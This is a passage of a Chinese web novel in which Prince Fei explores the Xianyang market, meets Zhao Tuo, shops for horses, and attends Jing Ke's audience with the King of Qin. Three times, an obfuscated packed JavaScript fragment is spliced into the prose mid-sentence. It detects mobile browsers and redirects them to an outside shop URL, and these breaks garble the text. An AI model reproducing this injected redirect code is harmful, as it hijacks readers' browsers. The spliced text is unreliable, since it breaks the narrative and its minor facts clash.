为这次献城,燕国派来了庞大的使臣队伍,不仅携带地图与樊於期的人头,还有燕国的各色美女产和金银重宝。听说,这次燕国使臣的车队洋洋洒洒有十里之多,典客光是给他们安排住处就忙的头晕眼花。 “真是好隆重啊。”微服混在围观的人群里,公子斐对着那一眼看不到边的车队感叹。 “公子我们还是换个地方吧。”一边帮他排开拥挤的围观人群,一边警惕他的安全,李淇苦着脸劝道。“高处看得更清楚!”他苦口婆心。 “嗨,这不是来晚了没位置了嘛。”公子斐一点不负责任道。虽然想的话花钱搞个临窗的位置也不是什么大事,但这就没微服的味道了嘛。都出来玩了,当然要近距离体验黔首们的生活啦。 公子斐垫着脚往车队张望,好一会儿,他两眼一亮,兴奋的低叫:“来了来了!”不枉他费李淇的力跑来这边人挤人,这边果然看的很清楚。 公子斐好奇的打量车队最豪华马车,试图一窥马车中人。然而—— “……有帘子挡着。”他失望的看着马车咕噜噜的从他面前开过。 “那我们能回去了不?”李淇充满希望的问。 “那当然——不行!” 难得出来当然要玩尽兴啦。公子斐一转身,向市集走去。 28.第二十八章 正所谓“前朝后市”,咸阳的市集就在咸阳宫后方贴近城墙的地方。 公子斐到的时候,市集的旌旗已经升起,正迎风飘扬。各色商铺也已经开张,店主们正带着帮工卖力的招呼客人。 或许是因为今天大部分人都去看楚国使臣的车队了,市集的客人不多,零零散散的分布在各色店面。公子斐随便挑了家人少的布店,一进门,店主就亲自迎上前来,热情的为他介绍店中的各色布匹。 很好,看来今天这日子选的不错,正适合他这种没什么逛街经验的人。饶有兴致的顺着店主的介绍将店内货品一一过目,公子斐满意的想。 “明媪,这儿适合我的成衣有么?”虽然已经是微服,但真出来才发现自己的衣服和其他人穿的有很多区别。他和李淇穿的都算是锦衣,而市集里大多数人穿的都是布衣或者麻衣。 之前在大街上,围观燕国使臣的时候人挤人,很多人没发现,现在在市集,人少了,公子斐就发现很多人都绕着他们走,生怕惹麻烦。 不行,必须得换衣服!公子斐当时就有了决定。 “有的有的!”布匹店的店主是一位胖胖的中年妇女,她谨慎的打量了几眼公子斐的身材,转身从库房翻出了几件整齐折叠的衣物。“这位贵人,您要什么颜色的?”她问。 公子斐陷入了深思。他突然发现,他从小到大穿的最多就是黑色,偶尔带点红或者褐,几乎没穿过其他的颜色。他在学宫的同学,最早似乎也有穿的花花绿绿的,但时间长了,也和宫里一样只有黑红二色了。 感觉他有印象穿过其他颜色衣服的只有韩非韩先生。韩先生总是一身青衣,绑一根深绿或浅绿的要带,像青竹一般。 “就这件好了。”公子斐道。“但其他的也给我包上。”他按着韩非常穿的浅青色选了一件,因为看着很容易弄脏,公子斐觉得自己有必要多买几身准备着。 “好嘞!您试试!”明媪将青衣抖开递给他。 公子斐在李淇绝望的目光中脱下外衣,笨拙的将青衣穿在外面。“如何?”第一次自己穿衣大成功的公子斐快乐的在李淇和明媪面前转了一圈。 明媪欲言又止,李淇沉重上前,帮他整理外形。 “原来应该这样。”看李淇帮他这边拉拉那边整整,公子斐表示学到了。之前都是别人给他穿衣服,没想到自己穿还有这些门道。下次可以再试试,重新变得挺直整齐的公子斐愉快的想。 “多少钱?”满意的打量着自己的新衣服,公子斐问。 “竹签上都有标!六十钱一件,三件一共一百八十钱!”明媪赶忙道。 “竹签?”这又是什么?公子斐好奇的找了找,很快在衣缘的角落发现了一枚悬挂的竹签。竹签上明确写着六十钱。 果然和明媪说的一样,公子斐满意的指示李淇付钱。不过李淇刚拿出钱袋,公子斐又一把将钱袋抢了过去。 “一百六十钱对吧。”他兴致勃勃的数了一把钱给她。 明媪汗颜的接过,提笔刷刷在特制竹简上记下这次的交易,啪嗒一声将竹简一分为二,递给公子斐一半。“如有疑问,还请凭券退换。” “有意思有意思!”将交易券拿在手上细看,公子斐指示李淇也去换一身合适的。 李淇当然不敢买六十钱的外袍,买了更便宜不防风的短打,一件五十钱。公子斐劝他多买几件日后备用,李淇苦着脸拒绝表示他们还在长身体,一段时间不穿就穿不上了。 “好吧,你说得对。”公子斐这才放过了他。 ———— 喜滋滋的又数了一遍钱,揣着新到手的交易券,再出门公子斐已经变成了路上普普通通的一名青衣黔首了。 他在别的店里逛了逛,研究了一下不同店面的价格差异,好一会儿才满足的转战市集的其他区域。 咸阳市集的每个区域卖什么类型的货品都是有规定的,公子斐逛完了衣市,又去逛铜市,铁市。 铜铁市中有不少官府淘汰下的残次品,很受黔首欢迎。公子斐感到很奇怪,就看准时机抓了几个黔首询问。 “因为结实啊!” “官府的东西质量好。” 黔首们说。 真的吗?于是公子斐亲自去比较了一番官府淘汰的物品和普通商家的卖货,发现质量什么的他比不出来,但官府淘汰下来的那些基本都有镂刻花纹,比普通商家贩卖的大多要精致一些倒是真的。 “这么看他们说的好像也有点道理。”放下似乎是三个月前从他殿内被换下的铜碗——似乎是因为整套的掉了一个——公子斐心情复杂。 他眼看着这套铜碗被一个穿的还算不错的商贾高价买走,心中很是唏嘘。 总觉得有些难以直视,不管是那套铜碗还是那位商贾。 幸好以后都不会遇见了。他心情复杂的往下一个市集走去。 铜铁市旁是牲畜市。牲畜市,各种鸡啊鸭啊鱼的摊位挤在一起腥气冲天。公子斐才踏进去没多久就想撤退了。 但是,秉持着既然来玩就玩个彻底的决心,他艰难的停下脚步,捏着鼻子在里面逛了一圈。 别说,时间久了这冲鼻的腥气好像也就这样。公子斐逛着逛着就逛出几分味道,最后竟是在李淇无力而绝望的目光中买了一兜小黄鸡说要回宫养。 “夫人一定会杀了我的!”抱着小黄鸡跟在公子斐身后,李淇无声喃喃。 牲畜市再过去是牛马市。牛马市的味道和牲畜市一样难闻,但已经在牲畜市闻惯了的公子斐这一次表示自己毫无压力。他现在甚至都不需要捏着鼻子! 闻惯了也就这样。公子斐淡然的想。 牛马市说是牛马市,其实少有卖牛的,多是卖马和卖人。秦国的先祖就是牧马养马发家的,所以秦国的马多,各种高级普通的马匹市面上都有流通。运气好的话,遇见汗血宝马也不是梦。 至于卖人,那便是说奴隶买卖。因为韩赵两国接连覆灭,牛马市的奴隶多到数不清,公子斐只走了一小段就听到好几位客人在讨论奴隶的价格。他们有的抱怨买早了,现在都半价了。有的在讨论还会不会跌,是趁现在买还是再等一等。 公子斐日常在宫中生活自然是不需要奴隶的——又或者说是不缺奴隶——他本想去看看马店碰碰运气,看能不能遇上极品。但听旁人说的多了,他忍不住就想去凑凑热闹。 来都来了。 公子斐脚步一转,往看着最热门的奴隶店肆走去。 ———— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976671|133868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >和市中的其他店肆一样,奴隶店肆也有不少帮工在帮店主吆喝。不过奴隶店肆和其他店还是有一点不一样的,那就是店里的商品自己也能推销自己。 “公子,臣原是官宦人家,能书会写,服侍您再适合不过了!” “公子,妾在家乡的时候是村里绣工最好的,能绣好几种花样呢!我儿子也身体健康,头脑聪敏,办事最是仔细!” 也不知为什么公子斐一进店,好多奴隶就伸着脑袋向他推销。他们卖力的模样吓了他一跳,叫他很是不适应的缩了缩肩膀。 “他们怎么都盯着我?”公子斐奇道。店里明明也有其他客人。 “因为你的发带。”一个声音突然回答。 公子斐转头去看,只见一名和他差不多大的少年正叉腰看着他:“你这发带是绸,一看就不是普通人,他们当然要盯着你看了。”少年理所当然道。 公子斐这才想起自己换了衣服却没换发带。 “你也不知道提醒我一句。”公子斐斜了李淇一眼,李淇低头打了两声哈哈,将这句指责略了过去。 想也知道,这绝对是故意不提醒的。 “好吧,谢谢你的提醒,我下回知道了。”指望李淇还不如指望自己,公子斐表示自己记下了。 “对了,还不知公子怎么称呼?”他又问。 “公子可称不上,我名佗,来自赵国,叫我赵佗便好。”赵佗回答。 “赵国人?”老实说,公子斐有点惊讶他不是以奴隶的身份出现在这里。不过他当然没有表露自己的想法,只是一脸欣喜的拉近关系:“真巧,我大母也是赵国人!” 赵佗挑眉:“是哪里?” 公子斐说是邯郸。 赵佗的表情立刻复杂了起来:“看来你们家还挺有先见之明。” 邯郸被破后嬴政曾亲临现场,将曾经欺辱过他和他父亲母亲的赵国高层全部坑杀。现在,赵国曾经的权贵十不存一,他们的下场也叫其他几国的权贵噤若寒蝉。 公子斐看着就是世家出生的公子哥,她大母能早早嫁来秦国避开这一场灾祸说一句有先见之明完全不为过,就是不知他大母的家族能不能避开这一场灾祸了。 “是的,听说我大母家的人现在都迁到秦国来了,不过他们没来咸阳,去了雍城。”公子斐笑道。 赵姬的家族曾经庇护过嬴政与他的母亲,嬴政自然是心存感激的。虽然下令庇护他们的家主已经过世,现在当家的和他们的关系也不甚亲近,不过嬴政还是给他们赐了爵位和土地,让他们能在秦国安稳生活。 至于官职,这就不用想了。他是个用人唯才的人,并不特别唯亲。赵姬家的人后若有能力,他不介意帮一把,没能力,他也懒得耗这个心。 “雍城好啊,如果可以我也想将母亲带去雍城。”赵佗再次佩服起公子斐大母家的眼光。 雍城是秦国的故都和宗庙所在,这是一座庄重肃静的城市,不像咸阳这么大这么繁华,也没咸阳这么多叫人得罪不起的权贵,很适合养老。 “你可以的!”公子斐鼓励他。 赵佗笑着点了点头。他也觉得自己很可以,所以,这是目标,不是梦。 “等我当了大将军……”他目光闪闪。 29.第二十九章 “说起来,赵兄是来采买奴隶的吗?”这里虽然是牛马市,但人多的店家都是做奴隶买卖生意的,这可能是因为大多数黔首并没有太大的出行需求吧。 “不敢当,小子是来赎人的。”赵佗道。他倒也没什么隐瞒的意思。 原来,赵佗之前曾被赵国征军,是李牧将军率领的抗秦大军中的一员。后来,李牧将军被夺兵权被害死,他所服役的那只抗秦大军也被打败,他就成了秦国的奴隶,开始为秦国打赵国。没想到在李牧军中籍籍无名的他在秦国这边倒是打出了一点水花,不仅洗脱了奴隶身份,现在还有多余的爵位能拿来赎人。 “那小子是不是耽误赵兄了?你快去吧。”公子斐赶紧道。 “没有,在等着办手续呢。”赵佗摇头,不然他也没这个心情随便和路人搭话。 虽然年纪和公子斐差不多大,但公子斐还是平头公子,赵佗却已经是有爵位有官职的人了。一些杂事他已经可以派人代为办理了。 “哦哦那就好。”公子斐这就放心了。他回忆了一下学过的秦律,好奇的问赵佗现在是什么爵位。 赵佗说是不更。 这是秦国二十等军功爵的第四级。按照秦律,归还两级爵位可以为父母中的一人赎身,按赵佗的爵位,他可以同时给他父母赎身了。 “真厉害!”明明他们看起来差不多大的样子。公子斐感叹。也不知他什么时候才能上战场,要等傅籍吗? “还好还好。”赵佗哈哈大笑。 “你一定会成为大将军的。”公子斐真心祝福。 “那是!”赵佗肯定。 缠着赵佗说了一会儿从军经历,赵佗派去办赎人事项的仆人带着一位白发苍苍的老妇人回来了。 这是赵佗的母亲。他的父亲之前就已经被赵国征兵,死于战场了。他的母亲在他也被征兵后自愿卖了家中田地去军中帮忙。结果,赵军战败,她也就沦为奴隶了。 与年轻力状的赵佗不同,女□□隶还是挺难靠自己赎身的。好在她们也不怎么需要上战场,安全有一定的保证,所以赵佗在前线打仗打的也还算放心。 战后,军中一些不必要奴隶被转卖,赵佗的母亲就是其一。之所以这么久赵佗才来赎人主要就是为了查他的母亲被转卖去哪里了。他一得到消息就马不停蹄的赶来了。 “阿母!终于……” 初见面的时候已经激动过了,这会儿赵佗的情绪还算稳定。他拉着母亲的手和公子斐告别了。公子斐目送他离开,片刻,也离开了店肆。他按着原定计划去马店看马。 “真好,母子团聚。”路上,他同李淇感叹。他看着赵佗,为赵佗高兴的同时,也想到了跟在他身边的侍从们。于是他问李淇:“阿淇,你家人还在吗?” 李淇点头。他并不是因罪成奴,只是因为死了父亲,家里入不敷出才随母亲一起卖身为奴。也正是因为他身家还算清白,才会被选为公子斐的侍从。 “那你想脱奴籍吗?”公子斐又问。 李淇一怔,似乎从没想过这个问题。 “臣……可以吗?”他茫然的问。 作为侍从,他没有建功立业的机会当然也就没有赎身的能力。李淇从来没想过,有一天,有机会回答这个问题。 “可以啊,我帮你免了就是。”李淇是公子斐的侍从,他的卖身契……“等等,你的卖身契是在我这儿么?还是在阿母手上?”公子斐一时有些想不起来了。 “是在您这里。”李淇赶忙道,“公子搬去侧殿的时候我们这些侍从的卖身契都转到公子名下了。” “行,那我回去就给你们免了。”公子斐爽快道。“应该没什么影响吧?”片刻,他又问。 “臣也……不清楚。”李淇摇头。宫中似乎只有年纪到了放出去的,其他情况他也没听说过。“可能要去问一问少府。” “嗯,那我们回去就去问一问好了。”公子斐点头。他将这趟行程记在心里,这才大踏步向马店走去。 “走一走!看一看!西域上好的宝马欢迎客官选购!高大威武!体态庄严!日行千里!迅猛如电!” 还没靠近,马店的吆喝就传入公子斐的耳中。抬头望去,粗壮的木珊栏边,一匹匹或黑或白或棕或褐的大马或低头吃食或扬头甩尾,好不雄壮威武。 公子斐两样放光,大踏步往前冲入店中,结果他一个没注意就和人撞在了一起了。 “哎呦!”被撞之人的声音是如此熟悉,熟悉到公子斐下意识就抬腿想跑。 但很遗憾,他被挡住了。 “王小将军,还有阿葵,阿离。你们怎么在这里?”公子斐先发制人。 王贲一怔,下意识道:“公子过誉,贲不过是一介校尉,当不起将军之名。” “现在不是,以后也一定会是的。”公子斐笑道。虽然被反驳了,但不得不说王贲这种不贪名的态度还是很让人好感的。 “二公子才是,你怎么在里?”和王贲一起的是他的儿子王离和冯毋择将军的儿子冯葵。冯葵和公子斐一个课室,互相关系还挺不错,王离则更小一点,和四公主诗曼他们一起上课,公子斐只是见过。 “这不是显而易见么!”公子斐没有正面回答。 “你偷溜出来?”冯葵立刻明白。 “这怎么能说是偷溜呢?微服懂吗!微服!”公子斐强调。 冯葵斜他。 “不服?”公子斐反问。 “行行行,微服微服。”冯葵能怎么办呢?还不是只能顺着他。 王贲:“……” 你们平时都是这样说话的?是不是有点太随意了?王贲欲言又止。他看着很快就凑到一起说小话的公子斐和冯葵,又看了一眼波澜不惊习以为常的王离,思索片刻,到底没有开口质疑,只是安静的等在一片。 好一会儿,讨论完“拿什么贿赂我不把你微服的事说出去”的冯葵和公子斐笑语晏晏,哥两好的勾搭在了一起。冯葵心满意足,公子斐心如刀割。 “真没想到小离也到了换马的年纪了。” 王贲这次带孩子出行也是想来马市碰碰运气的。王离十一岁了,学马时骑的温顺小母马已经有些不适合了。虽然王府里好马不少,但那些成年马匹对王离来说又有些太过高大,所以王贲就想来马市看看,有没有适合的。要是没有,他就只好派人再找找了。 “等再过几年,离就可以上战场了!”王离坚定。 他最崇拜的便是爷爷王翦,做梦也希望自己能像爷爷一样指挥着千军万马驰骋疆场。骑射是上战场的必要技能,他在这方面从不马虎。 今天,也是他缠着父亲和他一起出来的,因为他想亲自挑一挑适合马匹。 “很好,就要这种气势,到时候我们一起上阵杀敌。”公子斐握拳。 王贲:“……” 两位公子不是已经开始见习朝政了吗?他应该没机会上阵杀敌吧。王贲有些茫然,但看公子斐和儿子都兴致勃勃,他也不好打扰,只能闭嘴。 父亲曾说他天生不会看人脸色,所以最重要的就是学会闭嘴。他从小就学习闭嘴,在这一点上,颇有心得。 “所以你们有遇见什么好马吗?”降龄和王离玩了一会儿,想起自己来牛马市的目的,公子斐问。 “之前逛了两家,都没什么合适的。”冯葵道。“这家倒是还没逛。” “我看这家的马还挺多的。”公子斐道。 “嗯,希望有合适的吧。天色也不早了,最多再看一家我们就得回去了。”冯葵期盼。 “这么早?”公子斐挑眉。 “我阿父也在,我们不能在外面玩多久。”冯葵回答。 因为战事告歇,好多常年在外驻军的将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985858|133868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军们都回咸阳轮换了。平日里这些将军在外面王不见王,几年难得一见,现在机会难得,好多都聚在一起互相讨教。王翦王老将军和冯毋择将军便是如此。 “我是不想听他们争论才跑出来的,你不知道,他们吵得多厉害!”冯葵啧啧称奇。 “咳咳。”见他似要吐槽父亲,王贲觉得自己不能再沉默了。他状似无意的轻咳了两声。 公子斐冯葵王离一齐看向他。 “看马。”王贲言简意赅。 “哦哦。”冯葵和公子斐一起露出了意会的笑容。 上课再说。两人互相打了个眼色,认真看起了马。 这家马店人多不是没有理由的,卖的马确实品相不错。 公子斐看重了一匹额带白斑,四脚踏云的骏马,心中很是欣喜。但是一看价格……他轻嘶了一声,默默放手了。 虽然一金不贵,但他这次出门带的都是半两,现在还花得差不多了,实在是没钱了。 他把冯葵叫来,将马推荐给他。 “哎呦!这匹确实不错!”刚在另一边看马的冯葵惊讶。“不过对小离来说还是高了一点吧?”他倒是牢记他们出门的目的。 “也是。”公子斐遗憾点头。这马品相确实不错,算是良驹,但也只是如此了。这样品相的好马,宫里,王府都不会少。它是好马,却不是适合王离的马。 两人遗憾的摸了摸马脑袋,和同样遗憾的王氏父子一起离开。他们结伴去了下一家店。 这是一家叫“乌氏畜牧-马”的店。公子斐注意到自己之前似乎也路过过一家有类似名字的,他退出去找了一圈,果不然在附近找到了一家叫“乌氏畜牧-牛”的店。 都是乌氏畜牧,应该是同一个老板吧。看来这还是一家大店。 市集店面都是统一大小,只看店面完全分不出大店小店,得看了货物才有些许分辨。 公子斐将自己的发现告诉冯葵他们,王贲觉得这个名字似曾相识,拖着下巴想了好一会儿才想起这似乎是每年给朝廷进贡牛马羊的大商人。 “贲没记错的话,二公子的马也是她那边进贡的。”王贲说。 “哎?原来是这样吗?”公子斐惊讶。他之前倒是真的没想过自己的马是哪里来的。“那我们更要去看看了。”说着,他率先踏入了店中。 牛马市的店面长得都差不多,不是栅栏就是牛马。乌氏畜牧的店也一样。不过,乌氏畜牧也有自己的特色,就是店里的帮工穿的都一模一样。 “欢迎!”一进店,立刻有穿着绣有乌氏畜牧字样外衣的店员热情的迎上来。他口齿伶俐的向他们介绍这边是西北马,那边是关东马,再过去是塞北马等等等等。各色马匹按产地和优良的不同依次排列,一目了然,客户根据口袋里的金钱可以很快选择商品进行购买。 “不愧是大商贾!”公子斐赞叹。 “确实有一手。”王贲也说。这家店的帮工是他们见过最多的一家,但店里却并不拥挤,这说明客户流动很快,并没有太多的在店内滞留。 “客官有什么需求?”店员热情的问。 王贲说了自己的要求后,他们很快被带到了店里不起眼的角落中。这里一整排都是半大不小正适合王离身高的小马。 “这匹是……那匹是……”店员如数家珍的向他们介绍产地和年龄。 王离兴奋的上前,很快就挑中了一批棕黄的小马。他在店员的看护下翻身上马试了试,感觉不错,立刻付了钱。 “送到王将军府上。”他同店员说。 店员一声好嘞,立刻转头招来另一位闲着的帮工将这件事交代了。帮工很快将小黄马牵走了,他自己则留在这里看他们有没有其他吩咐。 “行了,就这样吧。” 再次感叹了一声乌氏畜牧的经营手段,一行人很快离开了店里。 30.第三十章 虽然还想在外面继续晃荡,但既然遇上了,王贲校尉自然不会再让他一人。 身后跟着一群人这逛街就有点没意思了,公子斐无奈,只能随便逛了逛,买了些宫内没见过的稀罕小食便打道回府。 他给自己年纪相仿兄弟和姐妹都带了礼物。送礼的时候,他们一边埋怨他私下偷跑,一边又个个新奇非常。 “草竟然能编成这样?”元嫚拿着一只草编鸽子来回翻看。 “味道怪怪的。”阴嫚吃了一口市集卖的饴糖,评价。 “这个漆盒好看!”虽然市集的漆盒没有咸阳宫里的精美,但有时候简单也是一种美。 “好看吗?”诗嫚立刻换上了桃木簪。 公主们本也较少出门,没什么特别的要求,比较好哄。气他一个人出门的公子们就没这么好对付了。相比与礼物,他们更想蹭他的车出宫玩,或者干脆向他打听注意事项,准备自己也溜。 而这其中,最怨念的还是公子扶苏。 “二弟,我们之前约好的……” 最先和公子斐说好出去玩的当然是几乎天天混在一起的公子扶苏。但是他们第一次出去就遇上了韩非那事,之后就再也没人提出去这件事了。现在,公子斐一个人出去玩,不叫公子扶苏一起,公子扶苏理解归理解,心中难免还是有些怨念。 “哎?大哥你没自己出去玩过吗?”不过,相比公子扶苏的怨念,公子斐更惊讶的还是这点。 公子扶苏沉默摇头。 他本就不是爱玩的性子,无人相约的话他还是更喜欢一个人安静的抄书习字。之前也是公子斐提议去找韩非,他才和他一起出去的。 “那我下次再和你一起出去吧。我感觉市集还挺热闹挺有趣的。”他向公子扶苏分享了他在外面闲逛的见闻。 公子扶苏带着几分好奇的听他滔滔不绝的说了很久,一直到晡食,公子斐才意犹未尽的告辞。 “外面真的挺好玩的!”离开的时候,公子斐再次强调。公子扶苏若有所思的望着他,片刻,笑道:“再好玩也不是宫里,可不要在外面玩的忘了回宫。” 公子斐俏皮的向他做了个鬼脸:“不会的,还要给大哥大姐小弟小妹们送礼物呢!” 他哈哈笑着离开了。 ———— 时间一晃而过,很快就到了嬴政接见燕国使臣的日子。 因为已经有了见习朝政的资格,这回公子斐和公子扶苏也有资格列席。鉴于这是他们开始见习朝政后第一次规模比较大的外国使臣接见,两人一早就被叫起来复习各种礼仪。 “至于么,搞这么隆重。” 复习结束,公子斐挺直的腰板立刻塌陷。他歪歪扭扭的喝了两杯水,伏倒在案几上。 “或许是因为父王和燕太子感情不错?”公子扶苏也是累得不行。不过他的仪态就比不拘小节的公子斐好多了。 “连夜逃走的感情吗?”公子斐坏笑。 公子扶苏无奈瞥了他一眼,告诫:“可别叫父王听见。” 公子斐哈哈大笑。 “真好奇他们的相处方式。”他不怀好意道。 “可惜我们大约是看不见了。”公子扶苏实话实说。 “那可不一定,韩王不是还好好的?”公子斐道。“哦不对,现在该叫颍川君了。”他又笑了起来。 除了那些在他小时候的罪过他的人,嬴政对韩赵两国剩下的权贵都还可以,至少是给他们留了一条命,让他们苟活下去了。以前的韩王安变为了颍川君韩安,迁陈县,以前的赵王迁——哦,不好意思,想干掉先王子楚害他抛妻弃子连夜出逃的就是赵王迁的父亲,父债子承,王位都继承了,仇怨自然也要继承。赵王迁——或者说黔首赵迁被流放到房陵,现在估计已经没了。 “要是韩先生在,说不定这颍川君的名号就是先生的了。”公子斐道。 “可惜以先生的性子,他无论如何也不会接受的。”公子扶苏叹息。 “也是。”公子斐也叹了一口气。 若能接受,韩非就不是韩非了。 两人一同惆怅了起来。 一起上过韩非的课,又一起救下韩非,一起为他送葬。虽然一共只相处了没多久,韩非还经常因为他们秦公子的身份没有好脸色,但公子扶苏与公子斐对他的感情却绝不一般。他们是真的将韩非当做自己的先生一样的。 如果不是韩非自己想死…… ———— 休息的时间很快结束,公子斐与公子扶苏各自回宫去换了更正式的衣服,准备出席晚宴。 虽然只是列席围观,并没有什么发言的机会,但这毕竟算是第一次公开面对外国使臣,夸张点说就是第一次向世界昭告他将登上政治舞台,公孙蓉为保万一,临走了还仔仔细细的帮他又检查了一遍衣物配饰。 “长大了……” 面对着一丝不耐也没有的儿子,公孙蓉满心都是感慨。 最初他刚生下来的时候只是个红红丑丑的小毛头,公孙蓉都不敢相信这是从她肚子里出来的。现在,似乎只是一转眼,他就变得这么大了。 “上次给你的名单看了吗?”最后帮公子斐整了整衣领,公孙蓉问。 公子斐:“……” 他默默别开了视线。 公孙蓉:“……” “你大哥十四岁就跟李家定下了,再过两年都要完婚了,你呢?”看他这反应就知道是什么意思,公孙蓉顿时柳眉倒竖。她简直要把牙齿咬得咯咯响。 “这两年我给你看了多少人了?你就没一个满意的吗?”她厉声质问。 公子斐:“……就几行字怎么……”他小声反驳。 “就几行字?那和你一起读书的那些呢?这么多年了,你就一个都看不上吗?你知道有多少人来问过我吗?我都不好意思回答!”公孙蓉想起这个就气。 公子斐缩了缩脑袋不吭声了。他乖乖站在原地等公孙蓉数落,看时间差不多了才脚底抹油,溜之大吉。 “时间快到了,儿先出发了。”公子斐赶紧跑路。 公孙蓉无可奈何,只能自己跺脚。 “我看你挑到什么时候!”她恨恨道。 ———— 乘着羊车来到章台宫,公子斐到的时候公子扶苏恰巧也到了。他们结伴入内在大殿的角落里坐下,等待宴会开始。 秦国宴会的制度大抵延续周朝,但氛围更加宽松,并不对入座的先后顺序做太多要求。 公子斐和公子扶苏到的时候预定出席的官员们大部分都已经到了,他们在侍从的带领下按事先安排好的顺序依次列席,或自斟自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006289|133868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饮,或小声与自己周围的人说话,神情自在,安然自得。 公子斐和公子扶苏也在侍从的带领下入座。他们没有过多的交谈,只是安静的听着屏风后悠然奏响的丝竹之声。 不一会儿,作为秦王的嬴政也到了。 他的到来让在场所有人起身,向他躬身行礼。 “见过王上!” 整齐划一的声音在大殿内想起,嬴政就在这种情况下快步走到大殿的最中央,他一直以来固定的位置上站定。 “诸位爱卿免礼。”他抬手,放所有人站正。 “话不多说,爱卿们就坐吧。”说着,嬴政率先坐下。 随着他的动作,诸位大臣按座位的先后有序坐下。最后,当所有人都就坐,嬴政高声道:“让我们欢迎远道而来的客人。” 轻柔的乐声瞬间转为肃穆庄重。随着内侍们一道一道将他的话语外传,楚国庞大的使臣队伍也一一进场。他们先后向嬴政献上重宝,从延年益寿的灵芝人参,到华丽贵重的黄金宝石,还有各色自楚国而来的美丽少女。 使臣队伍的最后,是今天的重头戏——献城与献头。 “燕国使臣,荆轲,秦舞阳到——!” 内侍高喊燕国使臣的名字,在侍人的带领下,一身黑衣的荆轲和秦舞阳双双捧着托盘站到了殿内。 殿内的大臣们纷纷起身表示庆贺和尊敬。公子斐也随众起身,看向两位身姿挺拔的燕国使臣。 必须得说,燕国的这两位使臣是有点特色在的。托着樊於期人头的荆轲面色平静无喜无忧,看着似乎只是来普通的参加一场宴会,没有一丝献城的卑微与憋屈。而托着地图的秦舞阳则——嗯?这位秦姓的使者怎么脸色如此苍白,还发起抖来? 秦舞阳的异常引起了殿内些许瞩目,在众人的注视下,他汗如雨注,抖如糠筛,简直都要托不动献礼盘了。 他这是怎么回事?公子斐心中浮起些许不好的预感。他忍不住皱了皱眉,微微倾身想要看的更清。 这时,一脸平静的荆轲开口圆场了。 “非常抱歉,我们是北方蛮夷粗野之人,从未没见过如此大的场面。”他皱眉瞥了一眼颤抖的秦舞阳,谦卑道。“还请大王谅解。” 这是一个令人满意而愉快的理由。燕北蛮夷惧于他们秦国的庄严礼制是理所当然的,毕竟他们秦国发家于岐之西,是周王朝最正统的继承者。 虽然还有些疑惑燕国怎么会选择如此胆怯之人来献城。但荆轲的气度态度还是很不错的,许多人便将秦舞阳当做荆轲的侍从,只是帮他托盘。 典客的人怎么搞的,这种事都能弄错吗?只是随便一个侍人的话他根本不配在这场宴会中被通报姓名。一些大臣不满的向姚贾投去视线,姚贾微微皱眉,心里也怀疑起是不是手下搞错了什么。 作为一个著名使臣,他最是清楚出使他国的时候不管是战胜还是战败,气势都是不能输的。一个使者,他可以谦卑,可以殷勤,唯独不可以怯弱。 燕国这是怎么回事?如此重要的仪式怎么能让这种人来参加? 姚贾怎么想都觉得不会是他的手下弄错了。 这种表现!明明只是作为一名侍从也极其不及格!这怎么能怪他们? 要怪就该怪燕国!什么眼光!姚贾不满的想。